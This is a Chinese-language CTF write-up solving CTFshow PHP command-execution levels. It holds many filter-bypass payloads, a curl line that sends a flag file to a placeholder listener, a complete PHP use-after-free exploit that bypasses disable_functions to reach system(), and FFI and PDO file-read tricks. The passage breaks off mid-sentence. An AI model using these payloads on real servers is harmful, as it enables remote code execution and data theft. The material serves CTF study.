CTFshow命令执行

命令执行

危险函数:

------------------------------------------------执行(系统)函数
	 eval
	 exec - 执行一个外部程序
	 shell_exec
	 system
	 passthru
	 proc_open
	 pcntl_exec — 在当前进程空间执行指定程序
	 pcntl_fork  在当前进程当前位置产生分支(子进程)。
	 dl — 运行时载入一个 PHP 扩展
	 unserialize - 反序列化一个类函数nashell
	 ------------------------------------------------显示源码   
	 phpinfo
	 readfile
	 readline
	 show_source
	 heighlight
	 heighlight_string
	 curl
	 php
   curl -f filename=@/flag [要传到的ip地址和端口]	
	 解释:在linux里面单引号里面的的命令会直接先执行
	 以上的curl -f命令会把@后面文件名对应的文件传输到指定的ip端口地址
	 所以会直接执行curl命令将得到的flag文件传输到指定id端口,不需要管ping	  命令了只要监听此端口拿到文件即可
	 file 
	 ------------------------------------------------回调函数
	 array_walk
	 array_walk_recursive
	 array_map
	 call_user_func_array
	 call_user_func
	 ------------------------------------------------数组使用回调函数过滤
	 array_filter
	 filter_var
	 filter_var_array
	 ------------------------------------------------写入文件
	 fopen
	 fwrite
	 file_put_contents - 将数据写入文件中
	 file-get-contents - 获取参数的文件资源
	 move_uploaded_file - 将上传的文件移动到新位置
	 ------------------------------------------------命令字符串转义
	 escapeshellcmd - 对特殊字符转义
	 escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
	 ------------------------------------------------其他
	 proc_terminate — 杀除由 proc_open 打开的进程
	 touch - 设定文件的访问和修改时间

可用于执行php函数的函数:

eval()、assert()、preg_replace("/test/e",$_POST["cmd"],"jutst test")
//正则规则中含有/e修饰符就存在代码执行漏洞
create_function()

可用于执行系统命令的函数:

exec()//返回命令执行结果,加echo
passthru()//执行后直接显示结果
system()//执行后直接显示结果,返回值:成功则返回命令输出的最后一行, 失败则返回 false
shell_exec()//返回命令执行结果,加echo
`命令`//返回命令执行结果,加echo
popen()
proc_open()
pcntl_exec()

可用于替代空格的字符:

%09、$IFS$9、 ${IFS}、$IFS%09、< 、<>、%20等

可用于读取文件的命令:

cat
tac
head
more
less
cut
nl
ls / | tee 1.txt
将ls后的结果写入1.txt中

通配符:

*代表任意位
?代表一位

取反绕过

原理:php字符串取反之后可绕过正则

<?php
	$s='phpinfo';
	echo urlencode(~$s);
	//%8F%97%8F%96%91%99%90
?>

这时传入a=(~%8F%97%8F%96%91%99%90)();

即可执行phpinfo函数

对于PHP,形如 (func_name)(),其中func_name可以是字符串,会执行这个func

但是如果只传入(~%8F%97%8F%96%91%99%90%D7%D6)内容为phpinfo(),会发现此时函数不会被执行,此时php取反取得了phpinfo,但是取反得到的字符串 phpinfo()并不会被当作代码执行,因为在取反之前PHP解释器并不知道这原来是 phpinfo()

所以如果我们想执行shell,是不能单传入一个$_POST['kkk']的取反来执行的,而是需要使用嵌套执行的方式,形如assert($_POST[kkk])传入(~%9E%8C%8C%9A%8D%8B)(~%DB%A0%AF%B0%AC%AB%A4%94%94%94%A2)再传入命令kkk来执行

很恶心的命令执行

NKCTF=$_=(_/_._)[_];$__=++$_;$__=_.++$_.$__;$_++;$_++;$__.=++$_.++$_;$_=++$___;$_++;$$__[$___]($$__[$_]);
&1=highlight_file&2=/flag
29
payload:?c=echo(`cat%20f*`);

题目过滤了flag,使用通配符绕过,f*代表匹配所有以f开头的文件,`内部为执行的命令,通过echo得到返回值`

30
payload:?c=echo(`cat%20f*`);

题目过滤了flag,system,php,同上

31
payload:?c=echo(`tac%09f*`);

题目过滤了flag,system,php,cat,sort,shell,小数点,空格,使用%09将空格替代即可

32
payload:?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

题目过滤了flag,system,php,cat,sort,shell,小数点,空格,单引号,波浪号,echo,分号,括号,可以使用文件包含函数include(),include可以实现无括号包含,进而通过?>将整个PHP代码闭合即可绕过分号,而后就能做到参数逃逸(因为代码中只检测了c中传入的内容),进而通过传入参数通过php伪协议读取内容

33
payload:?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

题目过滤了flag,system,php,cat,sort,shell,小数点,空格,单引号,波浪号,echo,分号,括号,双引号,同上

34
payload:?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

题目过滤了flag,system,php,cat,sort,shell,小数点,空格,单引号,波浪号,echo,分号,括号,双引号,冒号,同上

35
payload:?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

题目过滤了flag,system,php,cat,sort,shell,小数点,空格,单引号,波浪号,echo,分号,括号,双引号,冒号,左尖括号,等于号,同上

36
payload:?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

题目过滤了flag,system,php,cat,sort,shell,小数点,空格,单引号,波浪号,echo,分号,括号,双引号,冒号,左尖括号,等于号,数字,将get参数中的数字改为字母即可

37
payload:?c=php://input
请求体:<?php include "flag.php"?>
或
payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

include函数开始,过滤了flag,通过php://input伪协议直接包含文件

38
payload:?c=data://text/plain;base64,PD9waHAgaW5jbHVkZSAiZmxhZy5waHAiPz4=

过滤了flag, php,file,通过data伪协议执行include “flag.php”

39
payload:?c=data://text/plain,<?php system("cat fla*.php");?>

过滤了flag并且包含的是变量c.php,输入后相当于直接执行输入的PHP命令,由于前面的PHP内容已经闭合,所以后面的.php直接就是.php文本显示,对前面的命令输入没有影响

40
payload:?c=eval(array_pop(next(get_defined_vars())));

POST:a=system('cat flag.php');

print_r(get_defined_vars());可以拿到所有已经定义的变量并取得值

next(变量)可以获得下一个变量

array_pop(数组)弹出数组中的变量为单个独立变量

c=session_start();system(session_id());
passid=ls

本地修改sessionID传入命令

41
'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'

可以发现大多数自负都被过滤,查看提示

通过脚本可获取异或(|)后能得到的所有字符

直接使用脚本

42
payload:?c=cat flag.php;

$c.” >/dev/null 2>&1”

题目中将命令输出保存到黑洞中,可通过分号分割命令让第一个执行的命令直接显示

43
payload:?c=tac%20flag.php%26%26

同上题,过滤了cat和分号,通过&&也可进行多命令执行,要进行URL编码

44
payload:?c=tac%20fla*.php%26%26

同上题,过滤了flag,使用通配符

45
payload:?c=tac${IFS}fla*.php%26%26

同上题,过滤了空格,找个能替代的就行

46
payload:?c=tac%09fla?.php%26%26

同上题,过滤了*和$,使用%09(制表符)替代空格

47
payload:?c=tac%09fla?.php%26%26

同上题,过滤了一些读取文件的命令,但没滤tac,直接用

48
payload:?c=tac<fl%27%27ag.php%26%26

同上题,过滤了数字和空格

49
payload:?c=tac<fl%27%27ag.php||

同上题,过滤了水平制表符和&&符,将&更换为|也可以多命令执行

50
payload:?c=tac<fl%27%27ag.php||
51
payload:?c=nl<fla%27%27g.php||

滤了tac呜呜呜呜用nl

52
payload:?c=nl${IFS}/fl%27%27ag||

滤掉了尖括号但是$回来了

nl${IFS}fla%27%27g.php||

但是明显flag不对,所以看一下根目录ls${IFS}/发现flag存在

使用nl读取

53
payload:?c=ta%27%27c${IFS}fla?.php

该题内容不同

echo($c);
$d = system($c);
echo "<br>".$d;

先将命令打印并执行后获得system函数的返回值并输出,system函数只返回命令执行后输出的最后一行,使用tac

54
payload:c=mv${IFS}fla?.php${IFS}kkk.txt
/kkk.txt

过滤了单引号绕过,通过mv命令重命名直接读取

55

过滤"/\;|[a-z]|\|%|\x09|\x26|>|</i”

无字母数字的命令执行

直接讲原理咯

.(点)或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则“.file”的意思就是用bash执行file文件中的命令。用“.file”执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用“.”来执行它了吗?

咋执行呢,原理是当我们发送一个上传文件的POST包时,这个文件会被储存在临时目录中,默认的文件是/tmp/phpXXXXXX(六个随机字符),那么我们就可以用通配符(?单匹配和*多匹配)来尝试执行我们上传的文件,但是尝试执行后发现不行,我们自己搭建一个php环境看一下为什么

列出相关的文件后发现是因为符合匹配条件的文件数量不止一个,就导致还没运行到我们上传的脚本时就已经结束了,所以我们要尝试用其他的通配符匹配出我们需要的文件,查看相关资料,Linux的glob通配符的相关内容(贴个链接)

https://man7.org/linux/man-pages/man7/glob.7.html

除了使用?和*进行任意匹配,还可以使用[^X]来排除某个字符,这样我们就可以排除前面包含-.文件,继续查看发现还剩下三个文件,而后发现还有一个通配符语法[X-Y]可以表示一个范围,而且只有php临时文件中包含大写字母,查询ascii码表发现大写字母位于@[之间,所以构造[@-[]就可以匹配到我们的文件了

最终payload

首先构建一个上传文件的html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="当前链接/?c=./???/????????[@-[]" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

第一个文件内容

ls
然后
cat /var/www/html/flag.php

如果一次不成功就repeater多试几次

拿到flag

57
payload:?c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

[a-z]|[0-9]|`||#|'|"|`|%|\x09|\x26|\x0a|>|<|.|,|?|*|-|=|[/i

过滤了大量字符,最终需要构建36即可,没有过滤$,而在Linux中$是变量的关键字,所以我们可以使用变量

$(())这个变量中的()代表数学运算,结果为0,所以
echo $(())
0
对这个变量进行取反操作结果为
echo ~$(())
~0
那么我们再对~0进行数学运算得到的结果就是
echo $((~$(())))
~1
所以我们想得到36就是让36个~1相加再取反
echo $((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))
58
payload:
POST
c=file_get_contents('flag.php')

命令执行,突破禁用函数

首先尝试system发现被过滤了,emmmm尝试过后发现能执行系统命令的全被禁用了

那么尝试能否读取文件,使用file_get_contents读取成功,提示中也显示show_source同样可用

59
payload:
POST
c=show_source('flag.php')

能执行系统命令的就别试了,全挂了

show_source可用

还可尝试通过include来包含文件,再通过PHP伪协议进行读取

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
POST
c=include($_GET['flie']);
60
payload:
POST
c=highlight_file('flag.php');

上一题可用的方法也可

61

同上

62
payload:
POST
c=include('flag.php');echo $flag;

上面所有方法皆可

63
payload:
POST
c=include('flag.php');var_dump(get_defined_vars());

get_defined_vars()可获得所有已定义的变量,当不知道变量名时可使用这个

上面方法同样🉑️

64
payload:
POST
c=include('flag.php');echo $flag;

scandir('.')可用于扫描文件,和ls一个意思,当我们不知道文件名时可使用

65

同上

66

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-03-19 17.49.25.png)

尝试失败还被嘲讽了,首先扫描一下文件,发现根目录下有flag.txt,highlight_file('/flag.txt')读取即可

payload:
POST
c=highlight_file('/flag.txt');
67

同上

68
payload:
POST
c=include('/flag.txt')

属于是离谱了,直接封了highlight_file函数,var_dump(scandir('/')),发现在根目录中,直接include文件,没有php标签即为直接显示源码,等于直接显示flag.txt的内容

69

同上

70

继续白嫖

71
payload:
POST
c=include('/flag.txt');exit();

尝试白嫖发现失败,下载源码进行查看,发现在输出之前将缓冲区中的所有数字字母换成了问号,那么我们让它包含完直接退出就行了

72

文件换位置了哭哭,scandir找不到根目录,var_dump也没了,哭哭

看提示

首先找出文件名

payload:
POST
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} exit(0);

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-03-19 23.52.16.png)uaf脚本如下

<?php
function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

最终

payload:
POST
c=上面的代码
73

include回来里,flagc.txt

74
payload:
POST
c=include('/flagx.txt');exit();

首先扫目录,同上题payload,而后发现在根目录有flagx.txt尝试包含成功

75

ban掉了open_basedir访问文件的方式,只能通过别的方法来访问文件,可以通过mysql访问,在前面几题中可以找到mysql的账号密码,最终payload如下

payload:
POST
c=try {
  $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
  foreach($dbh->query('select load_file("/flag36.txt")') as $row)
	{
    echo($row[0]); 
  }
  $dbh = null;
}
catch (PDOException $e) 
{
  echo $e->getMessage();
  exit(0);
}
exit(0);

拓展PDO知识:

PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。
PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。
PDO随PHP5.1发行,在PHP5.0的PECL扩展中也可以使用,无法运行于之前的PHP版本。
一个实例
<?php
$dbms='mysql';     //数据库类型
$host='localhost'; //数据库主机名
$dbName='test';    //使用的数据库
$user='root';      //数据库连接用户名
$pass='';          //对应的密码
$dsn="$dbms:host=$host;dbname=$dbName";

try {
    $dbh = new PDO($dsn, $user, $pass); //初始化一个PDO对象
    echo "连接成功<br/>";
    /*你还可以进行一次搜索操作
    foreach ($dbh->query('SELECT * from FOO') as $row) {
        print_r($row); //你可以用 echo($GLOBAL); 来看到这些值
    }
    */
    $dbh = null;
} catch (PDOException $e) {
    die ("Error!: " . $e->getMessage() . "<br/>");
}
//默认这个不是长连接,如果需要数据库长连接,需要最后加一个参数:array(PDO::ATTR_PERSISTENT => true) 变成这样:
$db = new PDO($dsn, $user, $pass, array(PDO::ATTR_PERSISTENT => true));

?>
76

同上改名字

77

首先还是扫目录,文件名flag36x.txt,尝试上题方法发现数据库消失,看提示是PHP7.4以上的新特性,可以通过新建一个FFI对象来执行系统命令,又因为执行系统命令后没有回显,所以我们把执行后的结果放到网站目录下的一个文本文件中进行读取

payload:
POST
c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > /var/www/html/1.txt';
$ffi->system($a);

然后访问/1.txt即可

118

首先查看源码,发现输入被包含到system函数中执行,尝试echo,whoami,ls,cat全部失效想方法绕过,输入空格发现可以执行,所以可以尝试通过构造系统变量来执行,查看提示的图片

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-03-21 16.39.03.png)

发现是默认配置文件下的文件名列表,可以通过剪裁构造变量,读取文件命令最容易进行构造的就是nl,想拼接出nl只需要取系统配置变量最后一位n和当前执行目录最后一位l即可,最终payload如下

payload:${PATH:~0}${PWD:~0}$IFS????.???

发现还是不行,是因为过滤了数字,没关系,剪裁字符还可通过大写字母解决,真·最终payload如下

payload:${PATH:~A}${PWD:~A}$IFS????.???

系统变量补充知识

$PATH 系统配置变量
$PWD 当前执行目录
$HOME 默认进入的目录
$SHELL
$USER 当前user
$SHLVL 代表当前shell窗口的深度,一般为1
$PHP_CFLAGS 指定头文件(.h文件)的路径,如:CFLAGS=-I/usr/include -I/path/include。同样地,安装一个包时会在安装路径下建立一个include目录,当安装过程中出现问题时,试着把以前安装的包的include目录加入到该变量中来。
$PHP_VERSION PHP版本

Linux变量补充知识

${变量名:从哪一位开始取:取多长},如没有长度默认取到最后,如果没有起始位就从头开始
${#变量名},代表这个变量的长度
$
119

先尝试上一把的是否可行,不行所以直接看提示吧,系统变量的知识补充在上一道题了,针对本题

SHLVL的值为2,#SHLVL的值为1,从PHP_VERSION的第二位取一个为3,也就是${PHP_VERSION:${SHLVL}:${#SHLVL}}为3,最终取
PHP_CFLAGS变量从第三位开始的前三个即可构造tac

最终payload如下

payload:${PHP_CFLAGS:${PHP_VERSION:${SHLVL}:${#SHLVL}}:${PHP_VERSION:${SHLVL}:${#SHLVL}}} ????.???
120

上一把的字符太长了,只能通过别的命令读取了

tips:Linux中的base64在/bin目录之下,base64 文件名即可将文件进行base64编码

所以我们最终构造出结果为/bin/base64 flag.php即可

首先是/字符,PWD首位,而后bin可使用通配符,尝试base64也使用通配符不可行,所以我们尝试构建出数字4来匹配

tips:RANDOM变量能生成一万以内的随机数,用#取长度即可有概率得到4

最终payload

payload:
POST
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

多刷新几次总会出来的

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-03-21 19.36.51.png)

121

尝试上题payload,发现SHLVL被过滤了,所以我们需要一个1

tips:通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误

所以我们使用$